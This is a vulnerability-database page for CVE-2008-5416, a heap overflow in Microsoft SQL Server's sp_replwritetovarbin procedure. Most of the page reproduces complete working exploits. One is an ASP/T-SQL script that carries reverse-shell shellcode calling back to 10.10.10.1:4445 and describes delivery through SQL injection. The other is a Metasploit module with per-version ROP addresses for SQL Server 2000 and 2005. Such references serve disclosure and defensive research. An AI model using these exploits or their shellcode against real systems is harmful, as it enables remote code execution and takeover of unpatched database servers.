CVE-2008-5416 : Detail

CVE-2008-5416

Overflow
94.43%V3
Network
2008-12-10
12h33 +00:00
2018-10-12
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Heap-based buffer overflow in Microsoft SQL Server 2000 SP4, 8.00.2050, 8.00.2039, and earlier; SQL Server 2000 Desktop Engine (MSDE 2000) SP4; SQL Server 2005 SP2 and 9.00.1399.06; SQL Server 2000 Desktop Engine (WMSDE) on Windows Server 2003 SP1 and SP2; and Windows Internal Database (WYukon) SP2 allows remote authenticated users to cause a denial of service (access violation exception) or execute arbitrary code by calling the sp_replwritetovarbin extended stored procedure with a set of invalid parameters that trigger memory overwrite, aka "SQL Server sp_replwritetovarbin Limited Memory Overwrite Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 7501

Publication date : 2008-12-16 23h00 +00:00
Author : Guido Landi
EDB Verified : Yes

<html> <% // k`sOSe 12/17/2008 // Microsoft SQL Server "sp_replwritetovarbin()" Heap Overflow // Tested on Win2k SP4 with MSSQL 2000(on one box only!). // Shellcode is a slightly modified metasploit reverse shell(on 10.10.10.1 port 4445), // the change allows multiple shots :) // // You need a valid SQL account, but you can also use this through an SQL-Injection simply by injecting the T-SQL stuff. // Take a look at the comments in T-SQL On Error Resume Next // change this UserName = "r00t" Password = "t00r" // ########################################### FIRST QUERY SQL = "DECLARE @buf NVARCHAR(4000), "&_ "@val NVARCHAR(4), "&_ "@counter INT "&_ "SET @buf = ' "&_ "declare @retcode int, "&_ "@end_offset int, "&_ "@vb_buffer varbinary, "&_ "@vb_bufferlen int "&_ "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_ "SET @val = CHAR(0x41) "&_ "SET @counter = 0 "&_ "WHILE @counter < 3020 "&_ "BEGIN "&_ " SET @counter = @counter + 1 "&_ " IF @counter = 2900 "&_ " BEGIN "&_ " SET @val = CHAR(0x43) "&_ " END "&_ " ELSE IF @counter = 299 "&_ " BEGIN "&_ " SET @val = CHAR(0x42) "&_ " END "&_ " ELSE IF @counter = 300 "&_ " BEGIN "&_ " /* First byte overwritten here. This is a random writable address */ "&_ " SET @buf = @buf + CHAR(0x44) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_ " CONTINUE "&_ " END "&_ " SET @buf = @buf + @val "&_ "END "&_ "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' "&_ "EXEC master..sp_executesql @buf" // ########################################### SECOND QUERY SQL2 = "DECLARE @buf NVARCHAR(4000), "&_ "@val NVARCHAR(4), "&_ "@counter INT "&_ "SET @buf = ' "&_ "declare @retcode int, "&_ "@end_offset int, "&_ "@vb_buffer varbinary, "&_ "@vb_bufferlen int "&_ "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_ "SET @val = CHAR(0x41) "&_ "SET @counter = 0 "&_ "WHILE @counter < 3097 "&_ "BEGIN "&_ " SET @counter = @counter + 1 "&_ " IF @counter = 2900 "&_ " BEGIN "&_ " SET @val = CHAR(0x43) "&_ " END "&_ " ELSE IF @counter = 299 "&_ " BEGIN "&_ " SET @val = CHAR(0x42) "&_ " END "&_ " ELSE IF @counter = 300 "&_ " BEGIN "&_ " /* Second byte overwritten here */ "&_ " SET @buf = @buf + CHAR(0x45) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_ " CONTINUE "&_ " END "&_ " SET @buf = @buf + @val "&_ "END "&_ "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' "&_ "EXEC master..sp_executesql @buf" // ########################################### THIRD QUERY SQL3 = "DECLARE @buf NVARCHAR(4000), "&_ "@val NVARCHAR(4), "&_ "@counter INT "&_ "SET @buf = ' "&_ "declare @retcode int, "&_ "@end_offset int, "&_ "@vb_buffer varbinary, "&_ "@vb_bufferlen int "&_ "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_ "SET @val = CHAR(0x41) "&_ "SET @counter = 0 "&_ "WHILE @counter < 3021 "&_ "BEGIN "&_ " SET @counter = @counter + 1 "&_ " IF @counter = 2900 "&_ " BEGIN "&_ " SET @val = CHAR(0x43) "&_ " END "&_ " ELSE IF @counter = 299 "&_ " BEGIN "&_ " SET @val = CHAR(0x42) "&_ " END "&_ " ELSE IF @counter = 300 "&_ " BEGIN "&_ " /* Third byte overwritten here */ "&_ " SET @buf = @buf + CHAR(0x46) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_ " CONTINUE "&_ " END "&_ " SET @buf = @buf + @val "&_ "END "&_ "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' "&_ "EXEC master..sp_executesql @buf" // ########################################### FOURTH QUERY SQL4 = "DECLARE @buf NVARCHAR(4000), "&_ "@val NVARCHAR(4), "&_ "@counter INT "&_ "SET @buf = ' "&_ "declare @retcode int, "&_ "@end_offset int, "&_ "@vb_buffer varbinary, "&_ "@vb_bufferlen int "&_ "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_ "SET @val = CHAR(0x41) "&_ "SET @counter = 0 "&_ "WHILE @counter < 2708 "&_ "BEGIN "&_ " SET @counter = @counter + 1 "&_ " IF @counter = 2900 "&_ " BEGIN "&_ " SET @val = CHAR(0x43) "&_ " END "&_ " IF @counter = 108 "&_ " BEGIN "&_ " /* this is the pointer we wrote - 0x38. It points to a CALL ECX */ "&_ " SET @buf = @buf + CHAR(0x10) + CHAR(0xc0) + CHAR(0x4c) + CHAR(0x19) "&_ " /* realign code */ "&_ " SET @buf = @buf + CHAR(0xe1) "&_ " /* realign the stack */ "&_ " SET @buf = @buf + CHAR(0x83) + CHAR(0xe4) + CHAR(0xfc) "&_ " /* jump ahead */ "&_ " SET @buf = @buf + CHAR(0xe9) + CHAR(0xba) + CHAR(0x00) + CHAR(0x00) + CHAR(0x00) "&_ " SET @counter = @counter + 12 "&_ " CONTINUE "&_ " END "&_ " ELSE IF @counter = 299 "&_ " BEGIN "&_ " SET @val = CHAR(0x42) "&_ " END "&_ " ELSE IF @counter = 300 "&_ " BEGIN "&_ " /* Fourth byte overwritten here */ "&_ " SET @buf = @buf + CHAR(0x47) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_ " /* reverse shell on 10.10.10.1:4445 */ "&_ " SET @buf=@buf+CHAR(0xfc)+CHAR(0x6a)+CHAR(0xeb)+CHAR(0x4d)+CHAR(0xe8)+CHAR(0xf9)+CHAR(0xff)+CHAR(0xff)+CHAR(0xff)+CHAR(0x60)+CHAR(0x8b)+CHAR(0x6c)+CHAR(0x24)+CHAR(0x24)+CHAR(0x8b)+CHAR(0x45)+CHAR(0x3c)+CHAR(0x8b)+CHAR(0x7c)+CHAR(0x05)+CHAR(0x78)+CHAR(0x01)+CHAR(0xef)+CHAR(0x8b)+CHAR(0x4f)+CHAR(0x18)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x20)+CHAR(0x01)+CHAR(0xeb)+CHAR(0x49)+CHAR(0x8b)+CHAR(0x34)+CHAR(0x8b)+CHAR(0x01)+CHAR(0xee)+CHAR(0x31)+CHAR(0xc0)+CHAR(0x99)+CHAR(0xac)+CHAR(0x84)+CHAR(0xc0)+CHAR(0x74)+CHAR(0x07)+CHAR(0xc1)+CHAR(0xca)+CHAR(0x0d)+CHAR(0x01)+CHAR(0xc2)+CHAR(0xeb)+CHAR(0xf4)+CHAR(0x3b)+CHAR(0x54)+CHAR(0x24)+CHAR(0x28)+CHAR(0x75)+CHAR(0xe5)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x24)+CHAR(0x01)+CHAR(0xeb)+CHAR(0x66)+CHAR(0x8b)+CHAR(0x0c)+CHAR(0x4b)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x1c)+CHAR(0x01)+CHAR(0xeb)+CHAR(0x03)+CHAR(0x2c)+CHAR(0x8b)+CHAR(0x89)+CHAR(0x6c)+CHAR(0x24)+CHAR(0x1c)+CHAR(0x61)+CHAR(0xc3)+CHAR(0x31)+CHAR(0xdb)+CHAR(0x64)+CHAR(0x8b)+CHAR(0x43)+CHAR(0x30)+CHAR(0x8b)+CHAR(0x40)+CHAR(0x0c)+CHAR(0x8b)+CHAR(0x70)+CHAR(0x1c)+CHAR(0xad)+CHAR(0x8b)+CHAR(0x40)+CHAR(0x08)+CHAR(0x5e)+CHAR(0x68)+CHAR(0x8e)+CHAR(0x4e)+CHAR(0x0e)+CHAR(0xec)+CHAR(0x50)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x66)+CHAR(0x53)+CHAR(0x66)+CHAR(0x68)+CHAR(0x33)+CHAR(0x32)+CHAR(0x68)+CHAR(0x77)+CHAR(0x73)+CHAR(0x32)+CHAR(0x5f)+CHAR(0x54)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xcb)+CHAR(0xed)+CHAR(0xfc)+CHAR(0x3b)+CHAR(0x50)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x5f)+CHAR(0x89)+CHAR(0xe5)+CHAR(0x66)+CHAR(0x81)+CHAR(0xed)+CHAR(0x08)+CHAR(0x02)+CHAR(0x55)+CHAR(0x6a)+CHAR(0x02)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xd9)+CHAR(0x09)+CHAR(0xf5)+CHAR(0xad)+CHAR(0x57)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x53)+CHAR(0x53)+CHAR(0x53)+CHAR(0x53)+CHAR(0x43)+CHAR(0x53)+CHAR(0x43)+CHAR(0x53)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0x0a)+CHAR(0x0a)+CHAR(0x0a)+CHAR(0x01)+CHAR(0x66)+CHAR(0x68)+CHAR(0x11)+CHAR(0x5d)+CHAR(0x66)+CHAR(0x53)+CHAR(0x89)+CHAR(0xe1)+CHAR(0x95)+CHAR(0x68)+CHAR(0xec)+CHAR(0xf9)+CHAR(0xaa)+CHAR(0x60)+CHAR(0x57)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x6a)+CHAR(0x10)+CHAR(0x51)+CHAR(0x55)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x66)+CHAR(0x6a)+CHAR(0x64)+CHAR(0x66)+CHAR(0x68)+CHAR(0x63)+CHAR(0x6d)+CHAR(0x6a)+CHAR(0x50)+CHAR(0x59)+CHAR(0x29)+CHAR(0xcc)+CHAR(0x89)+CHAR(0xe7)+CHAR(0x6a)+CHAR(0x44)+CHAR(0x89)+CHAR(0xe2)+CHAR(0x31)+CHAR(0xc0)+CHAR(0xf3)+CHAR(0xaa)+CHAR(0x95)+CHAR(0x89)+CHAR(0xfd)+CHAR(0xfe)+CHAR(0x42)+CHAR(0x2d)+CHAR(0xfe)+CHAR(0x42)+CHAR(0x2c)+CHAR(0x8d)+CHAR(0x7a)+CHAR(0x38)+CHAR(0xab)+CHAR(0xab)+CHAR(0xab)+CHAR(0x68)+CHAR(0x72)+CHAR(0xfe)+CHAR(0xb3)+CHAR(0x16)+CHAR(0xff)+CHAR(0x75)+CHAR(0x28)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x5b)+CHAR(0x57)+CHAR(0x52)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x6a)+CHAR(0x01)+CHAR(0x51)+CHAR(0x51)+CHAR(0x55)+CHAR(0x51)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xad)+CHAR(0xd9)+CHAR(0x05)+CHAR(0xce)+CHAR(0x53)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x6a)+CHAR(0xff)+CHAR(0xff)+CHAR(0x37)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xe7)+CHAR(0x79)+CHAR(0xc6)+CHAR(0x79)+CHAR(0xff)+CHAR(0x75)+CHAR(0x04)+CHAR(0xff)+CHAR(0xd6)+CHAR(0xff)+CHAR(0x77)+CHAR(0xfc)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xef)+CHAR(0xce)+CHAR(0xe0)+CHAR(0x60)+CHAR(0x53)+CHAR(0xff)+CHAR(0xd6) "&_ " CONTINUE "&_ " END "&_ " SET @buf = @buf + @val "&_ "END "&_ "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' "&_ "EXEC master..sp_executesql @buf" Set oConnection = Server.CreateObject("ADODB.Connection") oConnection.Open "Provider=SQLOLEDB; Data Source=; Initial Catalog=; User ID=" & UserName & "; Password=" & Password Set rs = Server.CreateObject("ADODB.Recordset") phase = Request.Querystring("p") if phase then if phase = 1 then rs.open SQL3, oConnection rs.close oConnection.Close Set oConnection = Nothing Response.Redirect("sql-exploit.asp?p=2") elseif phase = 2 then rs.open SQL4, oConnection rs.close oConnection.Close Set oConnection = Nothing Response.Redirect("sql-exploit.asp?p=3") end if Else rs.open SQL, oConnection rs.close oConnection.Close Set oConnection = Nothing Set oConnection = Server.CreateObject("ADODB.Connection") oConnection.Open "Provider=SQLOLEDB; Data Source=; Initial Catalog=; User ID=" & UserName & "; Password=" & Password Set rs = Server.CreateObject("ADODB.Recordset") rs.open SQL2, oConnection rs.close oConnection.Close Set oConnection = Nothing Response.Redirect("sql-exploit.asp?p=1") end if %> </html> # milw0rm.com [2008-12-17]
Exploit Database EDB-ID : 16392

Publication date : 2011-01-23 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: ms09_004_sp_replwritetovarbin.rb 11631 2011-01-24 19:37:58Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::MSSQL def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption', 'Description' => %q{ A heap-based buffer overflow can occur when calling the undocumented "sp_replwritetovarbin" extended stored procedure. This vulnerability affects all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database, and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004. Microsoft patched this vulnerability in SP3 for 2005 without any public mention. An authenticated database session is required to access the vulnerable code. That said, it is possible to access the vulnerable code via an SQL injection vulnerability. This exploit smashes several pointers, as shown below. 1. pointer to a 32-bit value that is set to 0 2. pointer to a 32-bit value that is set to a length influcenced by the buffer length. 3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000, this value is referenced with a displacement of 0x38. For MSSQL 2005, the displacement is 0x10. The address of our buffer is conveniently stored in ecx when this instruction is executed. 4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with a displacement of 4. This pointer is not used by this exploit. This particular exploit replaces the previous dual-method exploit. It uses a technique where the value contained in ecx becomes the stack. From there, return oriented programming is used to normalize the execution state and finally execute the payload via a "jmp esp". All addresses used were found within the sqlservr.exe memory space, yielding very reliable code execution using only a single query. NOTE: The MSSQL server service does not automatically restart by default. That said, some exceptions are caught and will not result in terminating the process. If the exploit crashes the service prior to hijacking the stack, it won't die. Otherwise, it's a goner. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11631 $', 'References' => [ [ 'OSVDB', '50589' ], [ 'CVE', '2008-5416' ], [ 'BID', '32710' ], [ 'MSB', 'MS09-004' ], [ 'URL', 'http://www.milw0rm.com/exploits/7501' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 512, 'BadChars' => "", # bad bytes get encoded! 'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff", 'DisableNops' => true }, 'Platform' => 'win', 'Privileged' => true, 'Targets' => [ # auto targeting! [ 'Automatic', { } ], # # Individual targets # [ # Microsoft SQL Server 2000 - 8.00.194 (Intel X86) # Aug 6 2000 00:57:48 'MSSQL 2000 / MSDE SP0 (8.00.194)', { 'Num' => 32, # value for "start_offset" 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) 'Vtable' => 0x00a87f26, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x6900a7, # not directly used - call [ecx+0x08] 'Disp' => 0x08, # displacement on call [ecx+disp] used 'ecx2esp' => 0x0041b78f, # xchg ecx,esp / sbb [eax],al / pop esi / ret 'Popped' => 0x4, # byte count popped in above (before ret) 'Offset' => 0x28, # offset to the new stack! 'FixESP' => 0x0071f5fb, # advance esp to next ret (add esp,0x20 / ret) 'Ret' => 0x0041c9a2 # jmp esp }, ], [ # Microsoft SQL Server 2000 - 8.00.384 (Intel X86) # May 23 2001 00:02:52 'MSSQL 2000 / MSDE SP1 (8.00.384)', { 'Num' => 32, # value for "start_offset" 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) 'Vtable' => 0x00a95b2f, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x4b4f00, # not directly used - call [ecx-0x18] 'Disp' => 0x34, # displacement on call [ecx+disp] used 'ecx2esp' => 0x0044d300, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret 'Popped' => 0x8, # byte count popped in above (before ret) 'Offset' => 0x28, # offset to the new stack! 'FixESP' => 0x004a2ce9, # advance esp to next ret (add esp,0x1c / ret) 'Ret' => 0x004caa15 # jmp esp }, ], [ # Microsoft SQL Server 2000 - 8.00.534 (Intel X86) # Nov 19 2001 13:23:50 'MSSQL 2000 / MSDE SP2 (8.00.534)', { 'Num' => 32, # value for "start_offset" 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) 'Vtable' => 0x00a64f7e, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x660077, # not directly used - call [ecx-0x18] 'Disp' => 0x34, # displacement on call [ecx+disp] used 'ecx2esp' => 0x0054131c, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret 'Popped' => 0x8, # byte count popped in above (before ret) 'Offset' => 0x28, # offset to the new stack! 'FixESP' => 0x005306a0, # advance esp to next ret (add esp,0x1c / ret) 'Ret' => 0x004ca984 # jmp esp }, ], [ # Microsoft SQL Server 2000 - 8.00.760 (Intel X86) # Dec 17 2002 14:22:05 'MSSQL 2000 / MSDE SP3 (8.00.760)', { 'Num' => 32, # value for "start_offset" 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) 'Vtable' => 0x00ac344e, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x490074, # not directly used - call [ecx+0x14] 'Disp' => 0x34, # displacement on call [ecx+disp] used 'ecx2esp' => 0x00454303, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret 'Popped' => 0x8, # byte count popped in above (before ret) 'Offset' => 0x28, # offset to the new stack! 'FixESP' => 0x00503413, # advance esp to next ret (add esp,0x20 / ret) 'Ret' => 0x0043fa97 # jmp esp }, ], [ # Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) # May 3 2005 23:18:38 'MSSQL 2000 / MSDE SP4 (8.00.2039)', { 'Num' => 32, # value for "start_offset" 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) 'Vtable' => 0x0046592e, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x69f5e8, # not directly used - call [ecx+0x14] 'Disp' => 0x14, # displacement on call [ecx+disp] used 'ecx2esp' => 0x007b39a8, # push ecx / pop esp / mov ax,[eax+0x18] / mov [ecx+0x62],ax / pop ebp / ret 0x4 'Popped' => 0x4, # byte count popped in above (before ret) 'Offset' => 0x20, # offset to the new stack! 'FixESP' => 0x00b3694d, # advance esp to next ret (add esp,0x20 / ret) 'Ret' => 0x0047c89d # jmp esp }, ], [ # Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) # Oct 14 2005 00:33:37 'MSSQL 2005 SP0 (9.00.1399.06)', { 'Num' => 32, # value for "start_offset" 'VtOff' => 63, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash 'Writable' => 0x53ad5330, # any writable addr (not even necessary really) 'Vtable' => 0x02201ca8, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x10e860f, # not directly used - call [ecx+0x14] 'Disp' => 0x50, # displacement on call [ecx+disp] used 'ecx2esp' => 0x0181c0d4, # push ecx / pop esp / pop ebp / ret 'Popped' => 0x4, # byte count popped in above (before ret) 'Offset' => 0x20, # offset to the new stack! 'FixESP' => 0x0147deb7, # advance esp to next ret (add esp,0x10 / ret) 'Ret' => 0x0112c2c7 # jmp esp }, ], [ # Microsoft SQL Server 2005 - 9.00.2047.00 (Intel X86) # Apr 14 2006 01:12:25 'MSSQL 2005 SP1 (9.00.2047.00)', { 'Num' => 32, # value for "start_offset" 'VtOff' => 63, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash 'Writable' => 0x53ad5330, # any writable addr (not even necessary really) 'Vtable' => 0x0244c803, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x17139e9, # not directly used - call [ecx+0x14] 'Disp' => 0x52, # displacement on call [ecx+disp] used 'ecx2esp' => 0x0183bf9c, # push ecx / pop esp / pop ebp / ret 'Popped' => 0x4, # byte count popped in above (before ret) 'Offset' => 0x20, # offset to the new stack! 'FixESP' => 0x014923c1, # advance esp to next ret (add esp,0x10 / ret) 'Ret' => 0x011b204c # jmp esp }, ], [ # Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) # Feb 9 2007 22:47:07 'MSSQL 2005 SP2 (9.00.3042.00)', { 'Num' => 32, # value for "start_offset" 'VtOff' => 63, # offset from 'Num' to smashed vtable ptr 'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash 'Writable' => 0x53ad5330, # any writable addr (not even necessary really) 'Vtable' => 0x027fca52, # becomes eax for [eax+0x38] (must be valid to exec) 'FixDisp' => 0x1106d6b, # not directly used - call [ecx+0x14] 'Disp' => 0x52, # displacement on call [ecx+disp] used 'ecx2esp' => 0x01849641, # push ecx / pop esp / pop ebp / ret 'Popped' => 0x4, # byte count popped in above (before ret) 'Offset' => 0x20, # offset to the new stack! 'FixESP' => 0x01498b22, # advance esp to next ret (add esp,0x10 / ret) 'Ret' => 0x010a5379 # jmp esp }, ], [ 'CRASHER', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 09 2008' )) register_options( [ OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]) ]) end def check # the ping to port 1434 method has two drawbacks... # #1, it doesn't work on mssql 2005 or newer (localhost only listening) # #2, it doesn't give an accurate version number (sp/os) # since we need to have credentials for this vuln, we just login and run a query # to get the version information if not (version = mssql_query_version()) return Exploit::CheckCode::Safe end print_status("@@version returned:\n\t" + version) # Any others? return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/) return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.384/) return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.534/) return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/) return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/) return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/) return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.2047\.00/) return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.3042\.00/) return Exploit::CheckCode::Safe end def exploit mytarget = nil if target.name =~ /Automatic/ print_status("Attempting automatic target detection...") version = mssql_query_version raise RuntimeError, "Unable to get version!" if not version if (version =~ /8\.00\.194/) mytarget = targets[1] elsif (version =~ /8\.00\.384/) mytarget = targets[2] elsif (version =~ /8\.00\.534/) mytarget = targets[3] elsif (version =~ /8\.00\.760/) mytarget = targets[4] elsif (version =~ /8\.00\.2039/) mytarget = targets[5] elsif (version =~ /9\.00\.1399\.06/) mytarget = targets[6] elsif (version =~ /9\.00\.2047\.00/) mytarget = targets[7] elsif (version =~ /9\.00\.3042\.00/) mytarget = targets[8] end if mytarget.nil? raise RuntimeError, "Unable to automatically detect the target" else print_status("Automatically detected target \"#{mytarget.name}\"") end else mytarget = target end sqlquery = %Q|declare @i int,@z nvarchar(4000) set @z='declare @e int,@b varbinary,@l int;' set @z=@z+'exec sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',@l,@l,@l,@l,@l,@l,@l,@l' exec sp_executesql @z| # just crash it with a pattern buffer if the CRASHER target is selected.. if mytarget.name == 'CRASHER' sploit = Rex::Text.pattern_create(2048) print_status("Attempting to corrupt memory to cause an exception!") num = 32 else # trigger the memory corruption num = mytarget['Num'] vt_off = mytarget['VtOff'] vt_disp = mytarget['VtDisp'] vtable = mytarget['Vtable'] ecx_disp = mytarget['Disp'] esp_off = mytarget['Offset'] hijack_esp = mytarget['ecx2esp'] first_esp = mytarget['Popped'] fix_esp = mytarget['FixESP'] writable = mytarget['Writable'] corruptable_bytes = 0x44 # make sploit buff sz = (num + vt_off) + esp_off + (2 + corruptable_bytes) + payload.encoded.length #sploit = Rex::Text.pattern_create(sz) sploit = rand_text_alphanumeric(sz) # remove displacement! (using call [ecx+displacement]) vtable_off = (num + vt_off) sploit[vtable_off,4] = [(vtable - vt_disp)].pack('V') # stack -> heap hijack_off = vtable_off + ecx_disp sploit[hijack_off,4] = [hijack_esp].pack('V') # becomes eax on mssql 2ksp4 (prevent crash) sploit[(vtable_off-4),4] = [writable].pack('V') # becomes eip after esp hijack fixesp_off = vtable_off + first_esp sploit[fixesp_off,4] = [fix_esp].pack('V') # rest of magic stack (disable DEP?) stack_off = vtable_off + esp_off stack = [] stack << mytarget['Ret'] stack = stack.pack('V*') # jump over the stuff that gets corrupted stack << "\xeb" + [corruptable_bytes].pack('C') stack << rand_text_alphanumeric(corruptable_bytes) stack << payload.encoded sploit[stack_off,stack.length] = stack # this has to be put in after the stack area since the ptr for sql2k sp1 is in the corrupted stuff sploit[hijack_off,4] = [hijack_esp].pack('V') print_status("Redirecting flow to %#x via call to our faked vtable ptr @ %#x" % [mytarget['FixDisp'], vtable]) end # encode chars that get modified enc = mssql_encode_string(sploit) # put the number in (start offset) runme = sqlquery.gsub(/%NUM%/, num.to_s) runme.gsub!(/%STUFF%/, enc) # go! if (not mssql_login_datastore) raise RuntimeError, "Unable to log in!" end begin mssql_query(runme, datastore['VERBOSE']) rescue ::Errno::ECONNRESET, EOFError print_error("Error: #{$!}") end handler disconnect end def mssql_str_to_chars(str) ret = "" str.unpack('C*').each do |ch| ret += "+" if ret.length > 0 ret += "char(" ret << ch.to_s ret += ")" end return ret end def mssql_encode_string(str) badchars = "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f" enc = "" in_str = true str.unpack('C*').each do |ch| # double-double single quotes if ch == 0x27 if not in_str enc << "+'" in_str = true end enc << ch.chr * 4 next end # double backslashes if ch == 0x5c if not in_str enc << "+'" in_str = true end enc << ch.chr * 2 next end # convert any bad stuff to char(0xXX) if ((idx = badchars.index(ch.chr))) enc << "'" if in_str enc << "+char(0x%x)" % ch in_str = false else enc << "+'" if not in_str enc << ch.chr in_str = true end end enc << "+'" if not in_str return enc end def mssql_query_version begin logged_in = mssql_login_datastore rescue ::Rex::ConnectionError, ::Errno::ECONNRESET, ::Errno::EINTR return nil end if (not logged_in) raise RuntimeError, "Invalid SQL Server credentials" end res = mssql_query("select @@version", datastore['VERBOSE']) disconnect return nil if not res if res[:errors] and not res[:errors].empty? errstr = "" res[:errors].each do |err| errstr << err end raise RuntimeError, errstr end if not res[:rows] or res[:rows].empty? return nil end return res[:rows][0][0] end end
Exploit Database EDB-ID : 16396

Publication date : 2011-02-07 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

